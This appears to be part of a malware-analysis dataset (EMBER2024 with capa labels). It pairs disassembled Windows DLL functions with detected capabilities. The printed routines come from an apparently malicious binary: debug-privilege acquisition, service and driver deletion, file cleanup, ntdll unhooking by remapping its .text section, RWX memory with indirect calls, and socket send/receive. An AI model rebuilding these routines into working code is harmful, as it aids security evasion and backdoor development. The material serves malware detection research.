joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ec69
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4bc
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
test edi, edi
je 0x1000ed22
test esi, esi
je 0x1000ed22
lea eax, [ebp - 0x4bc]
push eax
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
test eax, eax
je 0x1000ed1a
mov ax, word [ebp - 0x4bc]
xor ebx, ebx
test ax, ax
je 0x1000ed1a
mov ecx, ebx
movzx edx, ax
mov ax, word [ebp + ecx - 0x4ba]
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
lea eax, [ebp - 0xd4]
push 0x64
push eax
lea eax, [ebp - 8]
mov word [ebp - 8], dx
push eax
call dword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x1000ed22
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xd4]
push eax
push edi
call dword [sym.imp.ntdll.dll_wcsncmp]
add esp, 0xc
test eax, eax
je 0x1000ed29
add ebx, 4
lea ecx, [ebx + ebx]
movzx eax, word [ebp + ecx - 0x4bc]
mov edx, eax
test ax, ax
jne 0x1000ecb2
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov ecx, dword [ebp - 0xc]
lea eax, [edi + ecx*2]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
xor eax, eax
inc eax
jmp 0x1000ed24

Function at 0x1000ed47
Capabilities:
Acquire debug privileges
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
xor edx, edx
mov ecx, str.SeDebugPrivilege
inc edx
call fcn.1000e88c
xor edx, edx
mov ecx, str.SeTcbPrivilege
inc edx
call fcn.1000e88c
xor ebx, ebx
lea eax, [ebp - 0x808]
push 0x800
push ebx
push eax
mov dword [ebp - 8], ebx
call sub.ntdll.dll_memset
add esp, 0xc
push esi
push ebx
push 0x410
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000edf0
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 4
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_K32EnumProcessModules]
push 0x400
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_K32GetProcessImageFileNameW]
test eax, eax
jne 0x1000edd8
push 0x1004b26c
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x1000ede5
mov edx, edi
lea ecx, [ebp - 0x808]
call fcn.1000ec69
test esi, esi
je 0x1000edf0
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000efa7
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], ecx
push 5
push esi
push esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x1000f034
push esi
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push 3
push 0x30
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov eax, dword [ebp - 8]
add eax, 0x2c
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.msvcrt.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x1000f034
push dword [ebp - 0xc]
push esi
push edi
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push esi
push esi
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0xc]
push edi
push 3
push 0x30
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
test eax, eax
jne 0x1000f03b
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, esi
cmp dword [ebp - 4], ebx
jbe 0x1000f07c
mov eax, edi
mov dword [ebp - 0xc], edi
push dword [ebp - 0x10]
push dword [eax]
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x1000f06d
mov eax, dword [ebp - 0xc]
inc ebx
add eax, 0x2c
mov dword [ebp - 0xc], eax
cmp ebx, dword [ebp - 4]
jb 0x1000f04d
jmp 0x1000f07c
imul eax, ebx, 0x2c
push edi
mov esi, dword [eax + edi + 0x24]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov eax, esi
jmp 0x1000f036
Function at 0x1000f4c9
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa28
lea eax, [ebp - 0x208]
push ebx
push esi
push edi
mov ebx, ecx
push 0x208
push 0
push eax
lea edi, [ebx + 0x864]
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebx + 0x92c]
push eax
push edi
lea eax, [ebp - 0x208]
push str._s_s
push eax
call esi
push 0x208
lea eax, [ebp - 0xa28]
push 0
push eax
call sub.ntdll.dll_memset
lea eax, [ebx + 0x990]
push eax
push edi
lea eax, [ebp - 0xa28]
push str._s_s
push eax
call esi
push 0x208
lea eax, [ebp - 0x820]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0x44
lea eax, [ebx + 0x9f4]
push eax
push edi
lea eax, [ebp - 0x820]
push str._s_s
push eax
call esi
push 0x208
lea eax, [ebp - 0x410]
push 0
push eax
call sub.ntdll.dll_memset
push str.install.cfg
push edi
lea eax, [ebp - 0x410]
push str._s_s
push eax
call esi
push 0x208
lea eax, [ebp - 0x618]
push 0
push eax
call sub.ntdll.dll_memset
push str.temp.key
push edi
lea eax, [ebp - 0x618]
push str._s_s
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x208]
add esp, 0x48
push 2
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea eax, [ebp - 0x208]
push eax
call edi
push 2
lea eax, [ebp - 0x410]
push eax
call esi
lea eax, [ebp - 0x410]
push eax
call edi
push 2
lea eax, [ebp - 0x618]
push eax
call esi
lea eax, [ebp - 0x618]
push eax
call edi
cmp dword [ebx + 0xa80], 0
je 0x1000f62b
push 2
lea eax, [ebp - 0x820]
push eax
call esi
lea eax, [ebp - 0x820]
push eax
call edi
push 2
lea eax, [ebp - 0xa28]
push eax
call esi
lea eax, [ebp - 0xa28]
push eax
call edi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x1000f632
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 0x410]
push ebx
push esi
push edi
mov ebx, 0x208
mov esi, ecx
push ebx
push 0
push eax
call sub.ntdll.dll_memset
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x410]
add esp, 0xc
add esi, 0x670
push esi
push eax
call edi
push 0x1004b3fc
lea eax, [ebp - 0x410]
push eax
call edi
push ebx
xor ebx, ebx
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea edx, [ebp - 0x208]
call fcn.1000e0dc
push str.drivers_
lea eax, [ebp - 0x208]
push eax
call edi
push esi
lea eax, [ebp - 0x208]
push eax
call edi
push str..sys
lea eax, [ebp - 0x208]
push eax
call edi
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x1000f6da
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000f727
push 0xf01ff
lea eax, [ebp - 0x410]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x1000f706
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
jmp 0x1000f727
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x1000f719
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000f750
Capabilities:
Allocate or change rwx memory
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
xor eax, eax
push edi
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
push 0x1004ad0c
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x1000f8b9
push ebx
push 0xc
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_K32GetModuleInformation]
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0x220]
push 0x208
xor edi, edi
push edi
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
je 0x1000f8b8
push str._ntdll.dll
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push edi
push edi
push 3
push edi
push 1
push SysReAllocString
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
test eax, eax
je 0x1000f8b8
push edi
push edi
push edi
push 0x1000002
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
test eax, eax
je 0x1000f8b8
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000f8b8
push esi
mov esi, dword [ebx + 0x3c]
xor eax, eax
add esi, ebx
cmp ax, word [esi + 6]
jae 0x1000f8b7
movzx eax, di
imul edx, eax, 0x28
movzx eax, word [esi + 0x14]
add eax, 0x18
add edx, esi
add edx, eax
xor ecx, ecx
mov dword [ebp - 8], edx
movzx eax, byte [edx + ecx]
mov edx, str..text
cmp al, byte [edx + ecx]
mov edx, dword [ebp - 8]
jne 0x1000f8ac
inc ecx
cmp ecx, 6
jne 0x1000f848
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov eax, dword [edx + 0xc]
push 0x40
push dword [edx + 8]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [ebp - 8]
push dword [eax + 8]
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc]
add eax, ecx
push eax
lea eax, [ecx + ebx]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 8]
push dword [ebp - 4]
push dword [eax + 8]
mov eax, dword [eax + 0xc]
add eax, ebx
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
inc edi
cmp di, word [esi + 6]
jb 0x1000f832
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret
Function at 0x10011103
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 4
push 0x1000
push 0x40
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x100111c6
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x38]
push 0x38
push eax
push ebx
call dword [ebx + 0x10]
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], ecx
call fcn.100030eb
mov esi, eax
push ebx
mov dword [edi + 4], esi
call dword [ebx + 0x18]
pop ecx
push eax
push 0
push ebx
call dword [ebx + 0x1c]
pop ecx
pop ecx
push eax
push dword [edi + 4]
call dword [esi + 0x14]
mov ecx, dword [0x1004f384]
add esp, 0xc
call fcn.10003833
mov dword [edi], eax
mov dword [edi + 0x18], 0x1000b19a
mov dword [edi + 0x1c], 0x100108a0
mov dword [edi + 0x20], 0x1001092d
mov dword [edi + 0x24], fcn.100109dc
mov dword [edi + 0x28], 0x10010ea3
mov dword [edi + 0x2c], 0x10010ec5
mov dword [edi + 0x30], 0x10010ee3
mov dword [edi + 0x34], 0x10010f85
mov dword [edi + 0x38], 0x1001104e
test ebx, ebx
je 0x100111d1
mov ecx, ebx
call fcn.100031f9
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100118d5
Capabilities:
Terminate process
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea eax, [esi + 0x28]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteCriticalSection]
mov edi, dword [sym.imp.KERNEL32.DLL_TerminateThread]
xor ebx, ebx
cmp dword [esi + 0x18], ebx
je 0x100118f7
push ebx
push dword [esi + 0x18]
call edi
push ebx
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push ebx
push dword [esi + 0x14]
call edi
mov ecx, dword [esi + 0x24]
test ecx, ecx
je 0x10011916
call fcn.100031f9
mov dword [esi + 0x24], ebx
mov edi, dword [sym.imp.KERNEL32.DLL_DisconnectNamedPipe]
cmp dword [esi], ebx
je 0x10011924
push dword [esi]
call edi
cmp dword [esi + 4], ebx
je 0x1001192e
push dword [esi + 4]
call edi
cmp dword [esi + 8], ebx
je 0x10011938
push dword [esi + 8]
call edi
cmp dword [esi + 0xc], ebx
je 0x10011942
push dword [esi + 0xc]
call edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esi], ebx
je 0x10011952
push dword [esi]
call edi
mov dword [esi], ebx
cmp dword [esi + 4], ebx
je 0x1001195f
push dword [esi + 4]
call edi
mov dword [esi + 4], ebx
cmp dword [esi + 8], ebx
je 0x1001196c
push dword [esi + 8]
call edi
mov dword [esi + 8], ebx
cmp dword [esi + 0xc], ebx
je 0x10011979
push dword [esi + 0xc]
call edi
mov dword [esi + 0xc], ebx
cmp dword [esi + 0x10], ebx
je 0x10011986
push dword [esi + 0x10]
call edi
mov dword [esi + 0x10], ebx
cmp dword [esi + 0x14], ebx
je 0x10011993
push dword [esi + 0x14]
call edi
mov dword [esi + 0x14], ebx
cmp dword [esi + 0x18], ebx
je 0x100119a0
push dword [esi + 0x18]
call edi
mov dword [esi + 0x18], ebx
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x100119af
call fcn.10003a1e
mov dword [esi + 0x20], ebx
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
pop ebx
ret

Function at 0x100124a6
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push 4
push 0x1000
push 0x40
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x1001253b
call fcn.100030eb
mov esi, eax
push ebx
mov dword [edi + 4], esi
call dword [ebx + 0x18]
pop ecx
push eax
push 0
push ebx
call dword [ebx + 0x1c]
pop ecx
pop ecx
push eax
push dword [edi + 4]
call dword [esi + 0x14]
mov ecx, dword [0x1004f384]
add esp, 0xc
call fcn.10003833
or dword [edi + 0x18], 0xffffffff
mov dword [edi], eax
mov dword [edi + 0x1c], 0x10011d6c
mov dword [edi + 0x20], 0x10011df5
mov dword [edi + 0x24], 0x10011e59
mov dword [edi + 0x28], 0x10011eb9
mov dword [edi + 0x2c], 0x10011ed3
mov dword [edi + 0x30], 0x10011f8a
mov dword [edi + 0x34], 0x10012041
mov dword [edi + 0x38], 0x100121f5
mov dword [edi + 0x3c], 0x100123e4
test ebx, ebx
je 0x10012546
mov ecx, ebx
call fcn.100031f9
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001256c
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 8], 0
xorps xmm0, xmm0
push ebx
push esi
push edi
push 0x11
push 2
pop esi
push esi
push esi
movlpd qword [ebp - 0x2c], xmm0
mov dword [ebp - 0xc], 0x10400
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, dword [ebp + 8]
mov dword [ebx], eax
cmp eax, 0xffffffff
jne 0x100125aa
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x100126aa
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea eax, [ebp - 8]
mov dword [ebp - 0x50], esi
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x4c], esi
push eax
push 0
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call esi
test eax, eax
je 0x100125e0
call esi
jmp 0x100126aa
cmp dword [ebp - 8], 0
je 0x100125d9
push 2
pop eax
push dword [ebp + 0x10]
mov word [ebp - 0x34], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x32], ax
mov eax, dword [ebp - 8]
push 0x10
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x34]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1001259f
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
lea eax, [ebp - 0xc]
push 4
push eax
push 0x1002
mov edi, 0xffff
push edi
push dword [ebx]
call esi
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1001
push edi
push dword [ebx]
call esi
push 4
lea eax, [ebp - 0x14]
xor edi, edi
push eax
push 8
push 0xffff
push dword [ebx]
inc edi
mov dword [ebp - 0x14], edi
call esi
xor ecx, ecx
mov dword [ebp - 0x24], edi
push ecx
push ecx
mov eax, 0x2710
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x18]
push eax
push ecx
push ecx
push 0xc
lea eax, [ebp - 0x24]
push eax
push 0x98000004
push dword [ebx]
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0xa
pop eax
push 4
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push eax
push 0x80
push 0xffff
push dword [ebx]
mov word [ebp - 0x10], di
call esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100126af
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push 0x28
push esi
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
je 0x100126c7
xor eax, eax
jmp 0x1001270b
push ebx
lea ebx, [esi + 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [esi]
call dword [sym.imp.WS2_32.dll_send]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push 0x28
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
je 0x10012700
push 0
call dword [sym.imp.KERNEL32.DLL_ExitThread]
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, dword [ebp + 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x1001270e
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0x1000
push 0
push esi
call sub.ntdll.dll_memset
mov ebx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
mov dword [ebp - 8], esi
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0x1000
movlpd qword [ebp - 0x20], xmm0
push eax
push eax
push 1
lea edi, [ebx + 4]
movlpd qword [ebp - 0x18], xmm0
push eax
mov dword [edi], eax
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
push 0
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 4]
push eax
push edi
push 1
lea eax, [ebp - 0xc]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_WSARecv]
mov edi, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call edi
mov esi, eax
cmp esi, 0x3e5
jne 0x100127c0
push dword [ebp + 0x10]
lea eax, [ebp - 0x10]
push 0
push eax
push 1
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
test eax, eax
je 0x100127a6
cmp eax, 0x102
jne 0x100127c0
jmp 0x100127bc
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebx + 4]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
call edi
mov esi, eax
cmp dword [ebp - 0x10], 0
je 0x100127cf
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x10013906
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov ebx, dword [esi]
call fcn.100030eb
mov edi, eax
push edi
push dword [esi + 0x34]
mov dword [esp + 0x14], edi
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x38
xor esi, esi
lea eax, [esp + 0x14]
push esi
push eax
call sub.ntdll.dll_memset
push edi
mov dword [esp + 0x54], 0x2072024
mov dword [esp + 0x44], 0x12001
call dword [edi + 0x18]
add eax, 8
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], esi
call fcn.100030eb
mov edi, eax
push edi
call dword [edi + 0xc]
push 0x38
lea eax, [esp + 0x28]
push eax
push edi
call dword [edi + 0x14]
add esp, 0x20
push 8
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [esi + 0x1c]
pop ecx
pop ecx
push eax
push edi
call dword [edi + 0x14]
mov ecx, dword [esp + 0x18]
push ecx
call dword [ecx + 0x18]
add esp, 0x10
push eax
mov eax, dword [esp + 0x10]
push 0
push eax
call dword [eax + 0x1c]
pop ecx
pop ecx
push eax
push edi
call dword [edi + 0x14]
push edi
call dword [edi + 0x18]
add esp, 0x10
push eax
push 0
push edi
call dword [edi + 0x1c]
pop ecx
pop ecx
push eax
push ebx
call dword [ebx + 0x18]
add esp, 0xc
mov ecx, edi
call fcn.100031f9
mov ecx, esi
call fcn.100031f9
mov ecx, dword [esp + 0xc]
call fcn.100031f9
pop edi
xor eax, eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10013d57
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
push 4
push 0x1000
push 0x40
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x10013e1a
push 0x38
lea eax, [ebp - 0x38]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0xc
lea eax, [ebp - 0x38]
push 0x38
push eax
push ebx
call dword [ebx + 0x10]
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov ecx, dword [ebp - 0x1c]
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x20]
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], ecx
call fcn.100030eb
mov esi, eax
push ebx
mov dword [edi + 4], esi
call dword [ebx + 0x18]
pop ecx
push eax
push 0
push ebx
call dword [ebx + 0x1c]
pop ecx
pop ecx
push eax
push dword [edi + 4]
call dword [esi + 0x14]
mov ecx, dword [0x1004f384]
add esp, 0xc
call fcn.10003833
mov dword [edi], eax
mov dword [edi + 0x18], 0x1000b19a
mov dword [edi + 0x1c], 0x100137d9
mov dword [edi + 0x20], 0x10013857
mov dword [edi + 0x24], fcn.10013906
mov dword [edi + 0x28], 0x100139dd
mov dword [edi + 0x2c], 0x10013b13
mov dword [edi + 0x30], 0x10013b95
mov dword [edi + 0x34], 0x10013c17
mov dword [edi + 0x38], 0x10013c17
test ebx, ebx
je 0x10013e25
mov ecx, ebx
call fcn.100031f9
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10017b41
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.10017b4a

Function at 0x10017dfb
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 4
pop edx
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x10043198]
sub edx, 1
jne 0x10017e04
pop ebp
ret

Function at 0x1001ce10
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, eax
xor eax, eax
cmp ecx, 0xffffffff
jne 0x1001ce49
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x1001ce44
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, dword [eax]
xor eax, eax
cmp ecx, 0xffffffff
jne 0x1001ce49
test eax, eax
jne 0x1001ce49
or eax, 0xffffffff
pop ebp
ret
mov eax, dword [ebp + 0x10]
mov dword [eax + 4], ecx
xor eax, eax
pop ebp
ret

Function at 0x1001cf70
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
push 0x8004667e
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
xor ebx, ebx
test eax, eax
setne bl
test eax, eax
je 0x1001cfaf
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.ioctlsocket_FIONBIO_1_failed_with_error__d_n
push 1
call fcn.1001dbe0
add esp, 0xc
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret